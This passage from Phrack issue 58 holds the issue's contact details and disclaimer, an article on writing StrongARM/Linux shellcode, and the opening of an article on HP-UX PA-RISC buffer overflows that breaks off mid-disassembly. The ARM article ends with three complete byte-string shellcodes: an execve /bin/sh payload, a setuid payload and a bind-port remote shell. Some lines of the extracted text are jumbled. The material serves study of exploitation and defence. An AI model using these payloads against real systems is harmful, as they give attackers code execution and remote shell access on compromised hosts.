phrack. A new phrack issue (without the attachment) is announced on
the announcement mailinglist.
phrack58/1.txt
Fri Jul 01 13:24:49 2022
2
To subscribe to the announcement mailinglist:
$ mail announcement-subscribe@lists.phrack.org < /dev/null
To subscribe to the distribution mailinglist:
$ mail distrib-subscribe@lists.phrack.org < /dev/null
To retrieve older issues (must subscribe first):
$ mail distrib-index@lists.phrack.org < /dev/null
$ mail distrib-get.@lists.phrack.org < /dev/null
where n indicated the phrack issue [1..58].
Enjoy the magazine!
Phrack Magazine Volume 10 Number 58, December 27, 2001. ISSN 1068-1035
Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without written permission
from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T
P H R A C K
M A G A Z I N E ]=---------=|
Editors
: phrackstaff@phrack.org
Submissions
: phrackstaff@phrack.org
Commentary
: loopback@phrack.org
Phrack World News : disorder@phrack.org
We have some agressive /dev/null-style mail filter running. We do reply
to every serious email. If you did not get a reply, then your mail was
probably not worth an answer or was caught by our mailfilter. Make sure
your mail has a non-implicit destination, one recipient, a non-empty
subject field, and does not contain any html code and is 100% 7bit clean
pure ascii.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
-----BEGIN PGP PUBLIC KEY BLOCK----Version: GnuPG v1.0.5 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad
XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa
fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS
c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4
BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y
g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La
QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT
0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr
4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh
ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF
CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ
6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1
d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA
ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/
+z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708
gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm
uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX
S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+
jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3
HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o
csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM
WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4
PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK
CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT
gPaxlvAXKrM=
=p9fB
phrack58/1.txt
Fri Jul 01 13:24:49 2022
3
-----END PGP PUBLIC KEY BLOCK----phrack:˜# head -20 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don’t even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
phrack58/10.txt
Fri Jul 01 13:24:49 2022
1
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e
|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ funkysh ]=----------------------=|
"Into my ARMs"
---[
Introduction
This paper covers informations needed to write StrongARM Linux shellcode.
All examples presented in this paper was developed on Compaq iPAQ H3650
with Intel StrongARM-1110 processor running Debian Linux. Note that this
document is not a complete ARM architecture guide nor an assembly
language tutorial, while I hope it also does not contain any major bugs,
it is perhaps worth noting that StrongARM can be not fully compatible
with other ARMs (however, I often refer just to "ARM" when I think it is
not an issue). Document is divided into nine sections:
* Brief history of ARM
* ARM architecture
* ARM registers
* Instruction set
* System calls
* Common operations
* Null avoiding
* Example codes
* References
---[
Brief history of ARM
First ARM processor (ARM stands for Advanced RISC Machine) was designed
and manufactured by Acorn Computer Group in the middle of 80’s.
Since beginning goal was to construct low cost processor with low power
consumption, high performance and power efficiency. In 1990 Acorn
together with Apple Computer set up a new company Advanced RISC Machines
Ltd. Nowadays ARM Ltd does not make processors only designs them and
licenses the design to third party manufacturers. ARM technology is
currently licensed by number of huge companies including Lucent, 3Com,
HP, IBM, Sony and many others.
StrongARM is a result of ARM Ltd and Digital work on design that use the
instruction set of the ARM processors, but which is built with the chip
technology of the Alpha series. Digital sold off its chip manufacturing
to Intel Corporation. Intel’s StrongARM (including SA-110 and SA-1110)
implements the ARM v4 architecture defined in [1].
---[
ARM architecture
The ARM is a 32-bit microprocessor designed in RISC architecture, that
means it has reduced instruction set in opposite to typical CISC like
x86 or m68k. Advantages of reduced instruction set includes possibility
of optimising speed using for example pipelining or hard-wired logic.
Also instructions and addressing modes can made identical for most
instructions. ARM is a load/store architecture where data-processing
operations only operate on register contents, not directly on memory
contents. It is also supporting additional features like Load and Store
Multiple instructions and conditional execution of all instructions.
Obviously every instruction has the same length of 32 bits.
phrack58/10.txt
---[
Fri Jul 01 13:24:49 2022
2
ARM registers
ARM has 16 visible 32 bit registers: r0 to r14 and r15 (pc). To simplify
the thing we can say there is 13 ’general-purpose’ registers - r0 to r12
(registers from r0 to r7 are unbanked registers which means they refers
to the same 32-bit physical register in all processor modes, they have
no special use and can be used freely wherever an general-purpose
register is allowed in instruction) and three registers reserved for
’special’ purposes (in fact all 15 registers are general-purpose):
r13 (sp)
r14 (lr)
r15 (pc/psr) -
stack pointer
link register
program counter/status register
Register r13 also known as ’sp’ is used as stack pointer and both with
link register are used to implement functions or subroutines in ARM
assembly language. The link register - r14 also known as ’lr’ is used to
hold subroutine return address. When a subroutine call is performed by
eg. bl instruction r14 is set to return address of subroutine. Then
subroutine return is performed by copying r14 back into program counter.
Stack on the ARM grows to the lower memory addresses and stack pointer
points to the last item written to it, it is called "full descending
stack". For example result of placing 0x41 and then 0x42 on the stack
looks that way:
memory address
sp ->
---[
stack value
+------------+
0xbffffdfc: | 0x00000041 |
+------------+
0xbffffdf8: | 0x00000042 |
+------------+
Instruction set
As written above ARM like most others RISC CPUs has fixed-length (in this
case 32 bits wide) instructions. It was also mentioned that all
instructions can be conditional, so in bit representation top 4 bits (31-28)
are used to specify condition under which the instruction is executed.
Instruction interesting for us can be devided into four classes:
- branch instructions,
- load and store instructions,
- data-processing instructions,
- exception-generating instructions,
Status register transfer and coprocessor instructions are ommitted here.
1. Branch instructions
------------------There are two branch instructions:
branch:
b <24 bit signed offset>
branch with link:
bl <24 bit signed offset>
Executing ’branch with link’ - as mentioned in previous section, results
with setting ’lr’ with address of next instruction.
phrack58/10.txt
Fri Jul 01 13:24:49 2022
3
2. Data-processing instructions
---------------------------Data-processing instructions in general uses 3-address format:
Destination is always register, operand 1 also must be one of r0 to r15
registers, and operand 2 can be register, shifted register or immediate
value.
Some examples:
-----------------------------+----------------+--------------------+
addition:
add | add r1,r1,#65 | set r1 = r1 + 65
|
substraction:
sub | sub r1,r1,#65 | set r1 = r1 - 65
|
logical AND:
and | and r0,r1,r2
| set r0 = r1 AND r2 |
logical exclusive OR:
eor | eor r0,r1,#65 | set r0 = r1 XOR r2 |
logical OR:
orr | orr r0,r1,r2
| set r0 = r1 OR r2 |
move:
mov | mov r2,r0
| set r2 = r0
|
3. Load and store instructions
--------------------------load register from memory:
ldr rX,
Example: ldr r0, [r1] load r0 with 32 bit word from address specified
in r1, there is also ldrb instruction responsible for loading 8 bits,
and analogical instructions for storing registers in memory:
store register in memory:
str rX,
strb rX,
(store 32 bits)
(store 8 bits)
ARM support also storing/loading of multiple registers, it is quite
interesting feature from optimization point of view, here go stm (store
multiple registers in memory):
stm (!),{register list}
Base register can by any register, but typically stack pointer is used.
For example: stmfd sp!, {r0-r3, r6} store registers r0, r1, r2, r3 and
r6 on the stack (in full descending mode - notice additional mnemonic
"fd" after stm) stack pointer will points to the place where r0 register
is stored.
Analogical instruction to load of multiple registers from memory is: ldm
4. Exception-generating instructions
--------------------------------Software interrupt: swi is only interesting for us, it perform
software interrupt exception, it is used as system call.
List of instructions presented in this section is not complete, a full
set can be obtained from [1].
---[
Syscalls
On Linux with StrongARM processor, syscall base is moved to 0x900000,
this is not good information for shellcode writers, since we have to deal
with instruction opcode containing zero byte.
Example "exit" syscall looks that way:
phrack58/10.txt
Fri Jul 01 13:24:49 2022
swi 0x900001
4
[ 0xef900001 ]
Here goes a quick list of syscalls which can be usable when writing
shellcodes (return value of the syscall is usually stored in r0):
execve:
------r0 = const char *filename
r1 = char *const argv[]
r2 = char *const envp[]
call number = 0x90000b
setuid:
------r0 = uid_t uid
call number = 0x900017
dup2:
----r0 = int oldfd
r1 = int newfd
call number = 0x90003f
socket:
------r0 = 1 (SYS_SOCKET)
r1 = ptr to int domain, int type, int protocol
call number = 0x900066 (socketcall)
bind:
----r0 = 2 (SYS_BIND)
r1 = ptr to int sockfd, struct sockaddr *my_addr,
socklen_t addrlen
call number = 0x900066 (socketcall)
listen:
------r0 = 4 (SYS_LISTEN)
r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)
accept:
------r0 = 5 (SYS_ACCEPT)
r1 = ptr int s, struct sockaddr
socklen_t *addrlen
call number = 0x900066 (socketcall)
---[
*addr,
Common operations
Loading high values
------------------Because all instructions on the ARM occupies 32 bit word including place
for opcode, condition and register numbers, there is no way for loading
immediate high value into register in one instruction. This problem can
be solved by feature called ’shifting’. ARM assembler use six additional
mnemonics reponsible for the six different shift types:
phrack58/10.txt
Fri Jul 01 13:24:49 2022
lsl asl lsr asr ror rrx -
5
logical shift left
arithmetic shift left
logical shift right
arithmetic shift right
rotate right
rotate right with extend
Shifters can be used with the data processing instructions, or with ldr
and str instruction. For example, to load r0 with 0x900000 we perform
following operations:
mov
mov
r0, #144
r0, r0, lsl #16
; 0x90
; 0x90 << 16 = 0x900000
Position independence
--------------------Obtaining own code postition is quite easy since pc is general-purpose
register and can be either readed at any moment or loaded with 32 bit
value to perform jump into any address in memory.
For example, after executing:
sub
r0, pc, #4
address of next instruction will be stored in register r0.
Another method is executing branch with link instruction:
sss:
bl
swi
mov
sss
0x900001
r0, lr
Now r0 points to "swi 0x900001".
Loops
----Let’s say we want to construct loop to execute some instruction three
times. Typical loop will be constructed this way:
loop:
mov
...
sub
cmp
bne
r0, #3
<- loop counter
r0, r0, #1 <- fd = fd -1
r0, #0
<- check if r0 == 0 already
loop
<- goto loop if no (if Z flag != 1)
This loop can be optimised using subs instruction which will set Z flag
for us when r0 reach 0, so we can eliminate a cmp.
loop:
mov
...
subs
bne
r0, #3
r0, r0, #1
loop
Nop instruction
--------------On ARM "mov r0, r0" is used as nop, however it contain nulls so any other
"neutral" instruction have to be used when writting proof of concept codes
for vulnerabilities, "mov r1, r1" is just an example.
mov
r1, r1
[ 0xe1a01001 ]
phrack58/10.txt
---[
Fri Jul 01 13:24:49 2022
6
Null avoiding
Almost any instruction which use r0 register generates ’zero’ on ARM,
this can be usually solved by replacing it with other instruction or
using self-modifing code.
For example:
e3a00041
mov
r0, #65
can be raplaced with:
e0411001
e2812041
e1a00112
sub
add
mov
r1, r1, r1
r2, r1, #65
r0, r2, lsl r1
(r0 = r2 << 0)
Syscall can be patched in following way:
e28f1004
e0422002
e5c12001
ef90ff0b
add
sub
strb
swi
r1, pc, #4
r2, r2, r2
r2, [r1, #1]
0x90ff0b
<- get address of swi
<- patch 0xff with 0x00
<- crippled syscall
Store/Load multiple also generates ’zero’, even if r0 register is not
used:
e92d001e
stmfd sp!, {r1, r2, r3, r4}
In example codes presented in next section I used storing with link
register:
e04ee00e
e92d401e
---[
sub
lr, lr, lr
stmfd sp!, {r1, r2, r3, r4, lr}
Example codes
/*
* 47 byte StrongARM/Linux execve() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0"
"\x1c\x30\x8f\xe2"
"\x04\x30\x8d\xe5"
"\x08\x20\x8d\xe5"
"\x13\x02\xa0\xe1"
"\x07\x20\xc3\xe5"
"\x04\x30\x8f\xe2"
"\x04\x10\x8d\xe2"
"\x01\x20\xc3\xe5"
"\x0b\x0b\x90\xef"
"/bin/sh";
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
sub
add
str
str
mov
strb
add
add
strb
swi
r2, r2, r2
r3, pc, #28 (0x1c)
r3, [sp, #4]
r2, [sp, #8]
r0, r3, lsl r2
r2, [r3, #7
r3, pc, #4
r1, sp, #4
r2, [r3, #1]
0x90ff0b
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
r2, r2, r2
r1, pc, #4
r0, r2, lsl r2
r2, [r1, #1]
0x90ff17
*/
*/
*/
*/
*/
/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0"
"\x04\x10\x8f\xe2"
"\x12\x02\xa0\xe1"
"\x01\x20\xc1\xe5"
"\x17\x0b\x90\xef";
/*
/*
/*
/*
/*
sub
add
mov
strb
swi
/*
* 203 byte StrongARM/Linux bind() portshell shellcode
* funkysh
phrack58/10.txt
Fri Jul 01 13:24:49 2022
7
*/
char shellcode[]= "\x20\x60\x8f\xe2"
"\x07\x70\x47\xe0"
"\x01\x70\xc6\xe5"
"\x01\x30\x87\xe2"
"\x13\x07\xa0\xe1"
"\x01\x20\x83\xe2"
"\x07\x40\xa0\xe1"
"\x0e\xe0\x4e\xe0"
"\x1c\x40\x2d\xe9"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x35\x70\xc6\xe5"
"\x14\x20\xa0\xe3"
"\x82\x28\xa9\xe1"
"\x02\x20\x82\xe2"
"\x14\x40\x2d\xe9"
"\x10\x30\xa0\xe3"
"\x0d\x20\xa0\xe1"
"\x0d\x40\x2d\xe9"
"\x02\x20\xa0\xe3"
"\x12\x07\xa0\xe1"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x45\x70\xc6\xe5"
"\x02\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x66\xff\x90\xef"
"\x5d\x70\xc6\xe5"
"\x01\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x04\x70\x8d\xe5"
"\x08\x70\x8d\xe5"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x02\x10\xa0\xe3"
"\x71\x70\xc6\xe5"
"\x15\x07\xa0\xe1"
"\x3f\xff\x90\xef"
"\x01\x10\x51\xe2"
"\xfb\xff\xff\x5a"
"\x99\x70\xc6\xe5"
"\x14\x30\x8f\xe2"
"\x04\x30\x8d\xe5"
"\x04\x10\x8d\xe2"
"\x02\x20\x42\xe0"
"\x13\x02\xa0\xe1"
"\x08\x20\x8d\xe5"
"\x0b\xff\x90\xef"
"/bin/sh";
---[
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
add
r6, pc, #32
*/
sub
r7, r7, r7
*/
strb r7, [r6, #1]
*/
add
r3, r7, #1
*/
mov
r0, r3, lsl r7
*/
add
r2, r3, #1
*/
mov
r4, r7
*/
sub
lr, lr, lr
*/
stmfd sp!, {r2-r4, lr}
*/
mov
r1, sp
*/
swi
0x90ff66
(socket) */
mov
r5, r0, lsl r7
*/
strb r7, [r6, #53]
*/
mov
r2, #20
*/
mov
r2, r2, lsl #17
*/
add
r2, r2, #2
*/
stmfd sp!, {r2,r4, lr}
*/
mov
r3, #16
*/
mov
r2, sp
*/
stmfd sp!, {r0, r2, r3, lr} */
mov
r2, #2
*/
mov
r0, r2, lsl r7
*/
mov
r1, sp
*/
swi
0x90ff66
(bind) */
strb r7, [r6, #69]
*/
add
r2, r2, #2
*/
mov
r0, r2, lsl r7
*/
swi
0x90ff66
(listen) */
strb r7, [r6, #93]
*/
add
r2, r2, #1
*/
mov
r0, r2, lsl r7
*/
str
r7, [sp, #4]
*/
str
r7, [sp, #8]
*/
swi
0x90ff66
(accept) */
mov
r5, r0, lsl r7
*/
mov
r1, #2
*/
strb r7, [r6, #113]
*/
mov
r0, r5, lsl r7 */
swi
0x90ff3f
(dup2) */
subs r1, r1, #1
*/
bpl
*/
strb r7, [r6, #153]
*/
add
r3, pc, #20
*/
str
r3, [sp, #4]
*/
add
r1, sp, #4
*/
sub
r2, r2, r2
*/
mov
r0, r3, lsl r2
*/
str
r2, [sp, #8]
*/
swi
0x900ff0b
(execve) */
References:
[1] ARM Architecture Reference Manual - Issue D,
2000 Advanced RISC Machines LTD
[2] Intel StrongARM SA-1110 Microprocessor Developer’s Manual,
2001 Intel Corporation
[3] Using the ARM Assembler,
1988 Advanced RISC Machines LTD
[4] ARM8 Data Sheet,
1996 Advanced RISC Machines LTD
|=[ EOF ]=---------------------------------------------------------------=|
phrack58/10.txt
Fri Jul 01 13:24:49 2022
8
phrack58/11.txt
Fri Jul 01 13:24:49 2022
1
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e
|=-----------------=[ HP-UX (PA-RISC 1.1) Overflows ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ Zhodiac ]=------------------=|
--[ Introduction.
Damn it, another buffer overflow document!! Well, this paper is not
intended to explain buffer overflow exploitations, neither is intended to
explain asm coding. This paper focuses mainly in three topics:
HP-UX/PA-RISC registers and stack organization, a solution for abo2.c
(located at community.core-sdi.org/˜gera/InsecureProgramming/) and finally
two shellcodes for this OS/arch.
It covers basic topics to start exploiting buffer overflows under
HP-UX/PA-RISC 1.1. This paper is divided into the following sections:
1. PA-RISC Introduction
1.1. RISC fundamentals
1.2. Registers
1.3. Leaf and non-leaf functions
2. Stack organization
3. Advance Buffer Overflow #2
4. Extras
4.1. Local Shellcode
4.2. Remote Shellcode
5. Resources
6. Greetings
--[ 1. PA-RISC Introduction
--[ 1.1. RISC fundamentals
RISC (Reduced Instruction Set Computing) refers to procesors with a
reduced instruction set, and with the ability to do the same tasks of a
CISC processor (Complex Instruction Set Computing).
RISC processors have some common caracteristics:
- Load, store design for memory access
- Reduce number of addressing
- Instruction size is always the same (Speeds up)
- Few instructions format
- More use of registers rather than memory
Deep in PA-RISC arch we have some more defined caracteristics:
- Immediate addressing, base relative without offset
- Predecrement in an instruction
- Postincrement in an instruction
- 12 instruction formats, all of them have 32 bits
--[ 1.2. Registers
On PA-RISC 1.1 there are four types of registers:
- General registers (32)
- Float point registers (32)
- Space registers (8)
- Control registers (25)
phrack58/11.txt
Fri Jul 01 13:24:49 2022
2
We will focus on the "General registers" which are the ones that get
involved in shellcodes programming and buffer overflow exploiting. These
registers can be used at any time even when cpu is not on privilege state,
except %gr0 (%r0) as we will see.
Lets explain some uses of the general registers
- %gr0: Always contains the value 0 and if you write something on it,
will be discarded
- %gr1: It is the implicit target register of the ADDIL instruction.
When calling a shared library function it will store the return
address of the so called "shared library stub" before calling
the function
- %gr2 (%rp): In this register it is stored the return address when a
function call is done with BL (Branch and Link)
- %gr3-%gr21: General use registers
- %gr19: Is the linkage table base register when calling a shared
library function
- %gr22: Stores the syscall number when you are going to call one of
them
- %gr23-gr26: Stores the functions arguments arg0-arg3
- %gr28,gr29 (%ret0, %ret1): In %gr28 is stored the return value of a
function or syscall. (An inmediat value or a reference address).
Under certain circunstances the value is sotred in %gr29
- %gr30: Here it is sotred the current Stack pointer. It has to be
aligned to 16 bits
- %gr31: Under PA-RISC 2.0 it contains the return address when a BLE
instruction is executed
Some final notes:
- Under PA-RISC 1.0 there are only 16 Floating-Point registers and under
PA-RISC 1.1 and 2.0 there are 32
- Control registers are only accessible when the CPU is in privilege mode
- Under PA-RISC 2.0 registers size is 64 bits
--[ 1.3. Leaf and non-leaf functions
There are mainly two classes of functions under HP-UX (similar as SPARC):
- Leaf functions: They DO NOT call any further function.
Leaf funtions, since they do not call any further function never store
%rp in memory because it will never be overwritting by a new function
called.
Here is an example on code and its gdb disass dump of a leaf function.
HP9000:˜/overflows/leaf$ cat leaf.c
int leaf(char *buff) {
int a=0;
a=1;
}
int main(int argc, char **argv) {
leaf(argv[1]);
}
HP9000:˜/overflows/leaf$
You can see in the gdb disass dump it never saves %rp in stack.
(gdb) disass leaf
Dump of assembler code for function foo:
0x3280 :
copy r3,r1
0x3284 :
copy sp,r3
0x3288 :
stw,ma r1,40(sr0,sp)
phrack58/11.txt
Fri Jul 01 13:24:49 2022
0x328c :
0x3290 :
0x3294 :
0x3298 :
0x329c :
0x32a0 :
0x32a4 :
End of assembler dump.
(gdb)
3
stw r26,-24(sr0,r3)
stw r0,8(sr0,r3)
ldi 1,r19
stw r19,8(sr0,r3)
ldo 40(r3),sp
ldw,mb -40(sr0,sp),r3
bv,n r0(rp)
- Non-Leaf funtions: They DO call at least one function.
Non-Leaf funtions, since they do not call any further function always
stores %rp in stack (as we will see) because the function called is going
to overwrite %rp with its wn return pointer.
Here is an example on code and its gdb disass dump of a leaf funtion.
HP9000:˜/overflows/non-leaf$ cat non-leaf.c
int non_leaf(char *buff) {
int a=0;
a=1;
sleep(1);
}
int main(int argc, char **argv) {
non_leaf(argv[1]);
}
HP9000:˜/overflows/non-leaf$
You can see in the gdb disass dump it saves %rp in stack at
"stw rp,-14(sr0,sp)".
(gdb) disass non_leaf
Dump of assembler code for function foo:
0x32b0 :
stw rp,-14(sr0,sp)
0x32b4 :
copy r3,r1
0x32b8 :
copy sp,r3
0x32bc :
stw,ma r1,80(sr0,sp)
0x32c0 :
stw r26,-24(sr0,r3)
0x32c4 :
stw r0,8(sr0,r3)
0x32c8 :
ldi 1,r19
0x32cc :
stw r19,8(sr0,r3)
0x32d0 :
ldi 1,r26
0x32d4 :
b,l 0x3298 ,rp
0x32d8 :
nop
0x32dc :
ldw -14(sr0,r3),rp
0x32e0 :
ldo 40(r3),sp
0x32e4 :
ldw,mb -40(sr0,sp),r3
0x32e8 :
bv,n r0(rp)
0x32ec :
break 0,0
End of assembler dump.
(gdb)
--[ 2. Stack organization
The following stack organization is brought up under PA-RISC 1.1 on a
HP-UX B10.20 and using the gcc compiler (though i will explain some few
thing of native cc). I have not seen any documentation about this stuff, so
it was based on gdb and my deduction ability.
PA-RISC does not have instructions like "save", "restore" to save the
registers values in a function prelude as SPARC does. all this stuff is
implemented via software and changes between compilers.
We will focus on non-leaf functions that are the ones that get involved
phrack58/11.txt
Fri Jul 01 13:24:49 2022
4
on buffer overflows. All "non-leaf" functions implements a prelude and a
final of a funtion, for example in main():
0x3380 :
0x3384 :
0x3388 :
0x338c :
0x3390 :
0x3394